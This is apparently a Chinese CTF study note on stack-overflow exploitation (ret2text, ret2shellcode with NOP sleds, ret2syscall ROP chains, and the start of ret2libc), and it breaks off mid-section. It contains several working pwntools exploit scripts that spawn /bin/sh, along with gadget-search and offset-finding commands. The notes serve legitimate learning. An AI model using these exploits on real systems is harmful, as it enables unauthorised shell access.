一.ret2text

ret2text(返回至程序自身代码段)是栈溢出攻击中常用的技术,核心是利用程序自身已存在的有用代码(如 system("/bin/sh") 相关逻辑),通过覆盖返回地址跳转到这些代码,从而获取权限.
获取offset的方法(64位);
1.在pwndbg命令行里面输入cyclic 200,复制结果
2.调试在栈溢出命令行(输入行)设置断点(b * $pc)
3.执行 c 命令,进入可输入状态,把复制的200个字符输入进去
4.找到RSP对应的值(假设为0x7fffffffde18),执行 x/1xg 0x7fffffffde18,复制结果
5.执行命令cyclic -l 0x6161616161616166(假设第4步得到结果为此),输出即为offset

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

# 配置环境(32位)
context(os='linux', arch='i386', log_level='debug')

# 目标程序(本地/远程)
p = process('./stack') # 本地调试
# p = remote('目标主机ip', 端口号) # 远程连接

# 1. 关键参数(需调试/分析程序获得)
offset = 112 # 覆盖返回地址的偏移量(示例值)
system_addr = 0x08048420 # system函数在程序中的地址(示例值)
binsh_addr = 0x0804a020 # "/bin/sh" 字符串在程序中的地址(示例值)

# 2. 构造 payload
# 结构:[溢出填充][system 地址][垃圾数据(占位 system 返回地址)][/bin/sh 地址(system 的参数)]
payload = flat(
b'A' * offset, # 溢出到返回地址
p32(system_addr), # 返回地址覆盖为 system 函数地址
p32(0xdeadbeef), # 占位:system 执行完后的返回地址(可任意填)
p32(binsh_addr) # system 的参数:指向 /bin/sh
)

# 3. 发送 payload 并交互
p.sendline(payload)
p.interactive()

二.ret2shellcode

ret2shellcode 是利用栈溢出覆盖返回地址,跳转到注入的 shellcode 执行以获取权限的漏洞利用技术。其核心是确保栈可执行(NX 保护关闭),并准确控制返回地址到 shellcode 起始位置。
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

# 配置环境(32位架构)
context(os='linux', arch='i386', log_level='debug')

# 目标程序(本地调试或远程连接)
p = process('./vuln_32') # 本地程序
p = remote('xxx.xxx.xxx.xxx', 1234) # 远程服务

# 1. 关键参数(需根据实际程序调试获得)
offset = ? # 覆盖返回地址所需的溢出字节数(示例值)
shellcode_addr = ? # 缓冲区起始地址(shellcode 存放的位置,示例值)

# 2. 生成 32 位 shellcode(执行 /bin/sh)
shellcode = asm(shellcraft.i386.sh()) # 也可替换为自定义 shellcode

# 3. 构造 payload
# 结构:[shellcode][填充垃圾数据][返回地址(指向 shellcode 起始位置)]
# 确保 shellcode 长度 < offset,否则需调整布局
payload = shellcode + b'A' * (offset - len(shellcode)) + p32(shellcode_addr)

# 4. 发送 payload 并交互
p.sendline(payload)
p.interactive()

补充:

ret2shellcode另外情况:

当ASLR打开时,我们在栈上写的shellcode无法知道准确的地址,这时候可以构造很长的一段nop(称为nop滑梯),这时可以根据默认顺序执行时,指令在内存中通常按低地址→高地址存储,在shellcode紧邻的低地址处放置nop滑梯,使shellcode可以执行。
你的理解核心是对的!ASLR 开启时栈地址随机化导致 shellcode 地址不可预测,nop 滑梯(NOP Sled) 正是利用了「指令默认按低地址→高地址顺序执行」的特性来破解这个问题 —— 但需要补充几个关键细节(比如 nop 滑梯的放置位置、跳转目标的选择、栈地址随机化的影响范围),才能把逻辑说透:

先明确核心矛盾与解决思路

1. ASLR 带来的问题

ASLR(地址空间布局随机化)会让栈、堆、共享库的基地址每次程序运行时都随机变化。我们通过缓冲区溢出把 shellcode 写入栈后,无法提前知道 shellcode 在栈中的精确地址,导致原本要跳转到 shellcode 起始地址的 ret 指令,因为地址不准而失败(要么跳错地址崩溃,要么没命中 shellcode)。

2. nop 滑梯的解决逻辑

nop 指令(机器码 0x90)的作用是「空操作」—— 执行后不改变程序状态,仅让 PC 寄存器(指令指针)自动累加 1(x86 架构),继续执行下一条指令(低地址→高地址)。

利用这个特性,我们构造:

  • 一段足够长的 nop 序列(滑梯);
  • 紧随 nop 滑梯高地址侧放置 shellcode(因为指令低→高执行,必须让 nop 在前、shellcode 在后);
  • 溢出时,把 ret 指令的跳转目标(即栈上的返回地址)覆盖为「nop 滑梯所在的地址范围」内的任意一个地址

这样一来,无论 ASLR 让栈地址怎么变,只要返回地址命中 nop 滑梯的区间,CPU 就会从该地址开始,顺着 nop 滑梯「滑」到高地址侧的 shellcode 起始处,最终执行 shellcode。

关键细节补充(避免误解)

1. nop 滑梯的放置位置:必须在 shellcode 的「低地址侧」

因为指令是低地址→高地址执行

  • 正确布局(栈中地址从低到高):[nop滑梯] → [shellcode] → [覆盖的返回地址]
  • 错误布局:如果把 nop 滑梯放在 shellcode 高地址侧,CPU 跳进来后会先执行 shellcode,再滑 nop,完全没用。
    举个具体地址例子(假设 ASLR 随机后,栈中某段地址范围为 0x7ffff000 ~ 0x7fffffff):
  • 我们在 0x7ffff000 ~ 0x7fffff00 写入 4096 个 nop(滑梯);
  • 在 0x7fffff01 ~ 0x7fffff80 写入 shellcode(比如 /bin/sh 的机器码);
  • 溢出时,把返回地址覆盖为 0x7ffff000 ~ 0x7fffff00 之间的任意值(比如 0x7ffff800)。
    CPU 执行 ret 后,会跳转到 0x7ffff800(nop 滑梯中间),然后依次执行 0x7ffff800(nop)→ 0x7ffff801(nop)→ … → 0x7fffff01(shellcode 起始),完美命中。

2. nop 滑梯的长度:要覆盖 ASLR 的「随机化范围」

ASLR 的随机化不是无限制的:比如 x86-64 系统中,栈的随机化通常只对「页内偏移」或「前 20 位地址」随机(具体取决于系统配置),随机范围一般是几 KB 到几十 KB。
因此,nop 滑梯的长度需要大于等于 ASLR 的随机化范围:比如系统栈随机化范围是 16KB,就需要构造 16KB 以上的 nop 序列 —— 确保无论 ASLR 怎么随机,返回地址都能命中 nop 区间(而不是跳出战的范围或 shellcode 之外)。

3. 前提:栈必须可执行(NX 关闭)

ret2shellcode 的核心前提是「栈具有执行权限」(即 NX 保护关闭)。如果 NX 开启(栈不可执行),即使 nop 滑梯命中了,CPU 执行到栈中的 nop 或 shellcode 时,会触发「执行权限错误」(SIGSEGV),无法继续。

ASLR 是「地址随机化」,NX 是「执行权限控制」,二者是独立的保护机制:nop 滑梯解决的是 ASLR 的问题,但必须先确保栈可执行(或通过 ret2libc、ROP 等绕过 NX)。

总结

ASLR 开启时,ret2shellcode 中 nop 滑梯的核心逻辑:

  1. 利用「指令默认低地址→高地址执行」,在 shellcode 低地址侧放置长 nop 序列;
  2. 溢出覆盖返回地址时,目标设为 nop 滑梯的地址范围(而非精确的 shellcode 地址);
  3. 借助 nop 「空操作 + PC 自增」的特性,让 CPU 从滑梯任意位置滑到 shellcode,破解 ASLR 导致的地址不可预测问题。

关键前提:栈可执行(NX 关闭),且 nop 滑梯长度足够覆盖 ASLR 随机化范围。

三.ret2syscall(一般是静态链接程序)

ret2syscall 是 栈溢出漏洞 的经典利用技术,核心思路是:通过溢出覆盖栈上的返回地址,劫持程序执行流,最终构造并触发 syscall(系统调用),实现任意操作(如执行 /bin/sh 获取 shell、读取 flag 文件等)。

它无需依赖目标程序的 systemexecve 等库函数,仅通过寄存器传递系统调用参数 + 触发 syscall 指令即可,兼容性极强(尤其适用于目标程序无 libc 或 libc 中无可用函数的场景)。

(1)核心原理

1. 系统调用的执行条件(以 Linux x86_64 为例)

Linux x86_64 架构下,系统调用通过以下方式触发:

  • 寄存器传参:按顺序用 rax(系统调用号)、rdi(第 1 参数)、rsi(第 2 参数)、rdx(第 3 参数)、r10(第 4 参数)、r8(第 5 参数)、r9(第 6 参数)传递;
  • 触发指令:执行 syscall 指令(等价于 32 位的 int 0x80)。

2. ret2syscall 的核心步骤

  1. 利用栈溢出,覆盖返回地址为一系列 ROP Gadget(小指令片段);
  2. 通过 Gadget 依次设置 rax(系统调用号)、rdi/rsi/rdx(参数);
  3. 最后调用 syscall 指令,触发目标系统调用。

最常用的目标是 execve("/bin/sh", NULL, NULL)(获取交互式 shell),对应的系统调用参数:

  • rax = 0x3b(x86_64 中 execve 的系统调用号);
  • rdi = 指向 "/bin/sh" 字符串的地址
  • rsi = 0(NULL);
  • rdx = 0(NULL)。

(2)关键前提

  1. 程序存在 栈溢出漏洞(可控制栈上返回地址及后续数据);
  2. 关闭或绕过 栈保护(如 NX 可开启,ret2syscall 不依赖栈可执行;但 Canary 必须绕过或关闭);
  3. 目标程序 / 内存中存在所需的 ROP Gadget(核心是 pop 寄存器; ret 类 Gadget,用于设置参数,以及 syscall Gadget);
  4. 内存中存在 /bin/sh 字符串(或可通过栈 / 数据段写入该字符串)。

(3)实战步骤(以 x86_64 为例)

步骤 1:确认漏洞与环境

假设目标程序 ret2syscall 存在栈溢出(如读取输入时未限制长度,覆盖了 rbp 和返回地址),且:

  • Canary 关闭(checksec 查看 Stack canary: No);
  • NX 开启(NX enabled: Yes,栈不可执行,需用 ROP);
  • 无 PIEPIE: No,地址固定,便于利用)。

步骤 2:查找关键 ROP Gadget

需通过 ropgadget 命令(Pwndbg 内置)查找以下 4 类 Gadget:

  1. pop rax; ret:用于设置系统调用号;
  2. pop rdi; ret:用于设置第 1 参数;
  3. pop rsi; ret:用于设置第 2 参数;
  4. pop rdx; ret:用于设置第 3 参数;
  5. syscall:触发系统调用的指令。

查找命令示例(Pwndbg 中执行):

bash

运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 1. 查找 pop rax; ret
ROPgadget --binary ./目标程序 | grep -i "pop rax"
# 输出示例:0x401186: pop rax; ret

# 2. 查找 pop rdi; ret
ROPgadget --binary ./目标程序 | grep -i "pop rdi"
# 输出示例:0x401189: pop rdi; ret

# 3. 查找 pop rsi; ret
ROPgadget --binary ./目标程序 | grep -i "pop rsi"
# 输出示例:0x40118b: pop rsi; ret

# 4. 查找 pop rdx; ret
ROPgadget --binary ./目标程序 | grep -i "pop rdx"
# 输出示例:0x40118d: pop rdx; ret

# 5. 查找 syscall
ROPgadget --binary ./目标程序 | grep -i "syscall"
# 输出示例:0x401190: syscall

步骤 3:查找 / 构造 /bin/sh 字符串

execve 需要一个指向 /bin/sh 字符串的地址,有 3 种获取方式:

方式 1:程序中已存在(优先)

用 search 命令搜索程序内存中的 /bin/sh

bash

运行

1
2
search "/bin/sh"  # Pwndbg 命令
# 输出示例:0x404060: "/bin/sh"(假设该地址存在)

方式 2:栈中写入(无现成字符串时)

若程序无 /bin/sh,可通过栈溢出将字符串写入栈中,再使用栈地址作为 rdi 参数。

步骤 4:计算栈溢出偏移

通过 pattern 命令计算覆盖返回地址的偏移(核心步骤):

  1. 生成 cyclic 字符串并作为输入,让程序崩溃:

    bash

    运行

    1
    2
    pattern create 200  # 生成 200 字节 cyclic 串
    # 输出:'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaad'
  2. 运行程序,输入上述字符串,程序崩溃后查看栈顶(rsp)的值:

    bash

    运行

    1
    2
    3
    run < <(echo "上述 cyclic 串")  # 触发崩溃
    reg rsp # 查看崩溃时 rsp 的值(示例:0x7fffffffe458)
    x/x $rsp # 查看 rsp 指向的内容(示例:0x616161616161616b)
  3. 计算偏移:

    bash

    运行

    1
    2
    pattern offset 0x616161616161616b  # 输入 rsp 指向的 cyclic 值
    # 输出示例:Offset: 40(表示输入第 41 字节开始覆盖返回地址)

    即:前 40 字节填充垃圾数据(padding),第 41 字节开始写入 ROP 链。

步骤 5:构造 ROP 链(核心)

根据前面获取的 Gadget 地址、/bin/sh 地址、偏移,构造 ROP 链,顺序如下:

plaintext

1
2
3
4
5
6
padding(40 字节) + 
pop rax; ret(Gadget 地址) + 0x3b(execve 系统调用号) +
pop rdi; ret(Gadget 地址) + /bin/sh 地址 +
pop rsi; ret(Gadget 地址) + 0x0(rsi 参数) +
pop rdx; ret(Gadget 地址) + 0x0(rdx 参数) +
syscall(Gadget 地址)

示例(假设各地址如下):

  • padding:b'A'*40 (填充垃圾数据)
  • pop rax; ret:0x401186
  • execve 系统调用号:0x3b
  • pop rdi; ret:0x401189
  • /bin/sh 地址:0x404060
  • pop rsi; ret:0x40118b
  • rsi 参数:0x0
  • pop rdx; ret:0x40118d
  • rdx 参数:0x0
  • syscall:0x401190

Python 构造 payload(用 pwntools):

python

运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

# 1. 初始化环境
elf = ELF('./vuln') # 目标程序
p = process('./vuln')
# gdb.attach(p, 'b *0x401042') # 调试用,断点设在vulnerable函数返回处

# 2. 核心配置(替换为实际地址!)
offset = 136 #偏移量
pop_rax = p64(0x40101a) # pop rax; ret;
pop_rdi = p64(0x40101c) # pop rdi; ret;
pop_rsi = p64(0x40101e) # pop rsi; ret;
pop_rdx = p64(0x401020) # pop rdx; ret;
syscall = p64(0x401022) # syscall; ret;
bin_sh = p64(0x404060) # /bin/sh 地址(步骤3得到)

# 3. 构造Payload
payload = b'A' * offset # 填充到返回地址
payload += pop_rdi + bin_sh # rdi = /bin/sh 地址
payload += pop_rsi + p64(0) # rsi = NULL(argv)
payload += pop_rdx + p64(0) # rdx = NULL(envp)
payload += pop_rax + p64(0x3b) # rax = execve 系统调用号
payload += syscall # 触发系统调用

# 4. 发送Payload并获取shell
p.sendline(payload)
p.interactive() # 交互shell

(4)、常见变体与注意事项

1. 32 位系统差异(x86)

32 位 Linux 中系统调用方式不同,需调整:

  • 系统调用号:execve 是 0xb(而非 0x3b);
  • 传参寄存器:eax(系统调用号)、ebx(第 1 参数)、ecx(第 2)、edx(第 3);
  • 触发指令:int 0x80(而非 syscall)。

Gadget 需查找 pop ebx; retpop ecx; retpop edx; retint 0x80

2. 无 /bin/sh 时的处理

若程序内存中无 /bin/sh,可通过bss段写入字符串:
(具体见[[zzu大二上联合招新赛(pwn复现)]]中的ret2shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
sh = process("./ret2syscall")
#sh = remote('192.168.20.1',40830)
context.log_level = 'debug'
pop_rax =0x000000000046b9f8
pop_rdi = 0x00000000004016c3
pop_rdx_rsi =0x00000000004377f9
bss = 0x00000000006c2000
ret = 0x000000000045bac5
payload = b"a"*0x58
payload += p64(pop_rax)+p64(0)
payload += p64(pop_rdx_rsi)+p64(0x10)+p64(bss)
payload += p64(pop_rdi)+p64(0)
payload += p64(ret)
payload += p64(pop_rax)+p64(0x3b)
payload += p64(pop_rdx_rsi)+p64(0)+p64(0)
payload += p64(pop_rdi)+p64(bss)
payload += p64(ret)
sh.sendline(payload)
sleep(3)
sh.send(b"/bin/sh\x00")

3. 绕过 PIE(位置无关执行)

若程序开启 PIE(地址随机化),需先泄露程序基地址,再计算 Gadget 地址(Gadget 地址 = 基地址 + 偏移量)。

4. 常见错误排查

  • 系统调用号错误:x86_64 execve 是 0x3b,32 位是 0xb,写错会导致调用失败;
  • /bin/sh 未 null 终止:字符串末尾需加 \x00,否则 execve 会读取垃圾数据;
  • Gadget 地址错误:需确保 Gadget 指令完整(如 pop rdi; ret 而非 pop rdi,缺少 ret 会栈错位);
  • 偏移计算错误:用 pattern offset 反复验证,确保 padding 刚好覆盖到返回地址。

(5)核心总结

ret2syscall 的本质是 通过 ROP 链手动构造系统调用参数并触发执行,核心依赖:

  1. 栈溢出漏洞(控制返回地址);
  2. 足够的 ROP Gadget(设置寄存器);
  3. 系统调用的参数与指令匹配。

四、ret2libc

给libc就strings libc.so.6 | grep “Ub”查版本
xclibc更换对应libc

在查找程序中是否有“/bin/sh”时,
其中一种方法是:在ida中按“shift + F12“,在表中寻找/bin/sh
另一种方法是: 在终端中用strings 文件 | grep /bin/sh ,如果有输出,说明有此字符串。

payload构造:

1.(通用构造法):其中,gets()函数的参数是buf2,当执行完gets()函数之后,buf2被压入栈,需要清理,这时候需要再shell中使用ROPgadget --binary 文件 --only "pop|ret"来找能清理栈的gadget,一般找通用寄存器如(pop ebx ret等),此为栈平衡

![[Pasted image 20260402085807.png]]

2.偷懒构造法,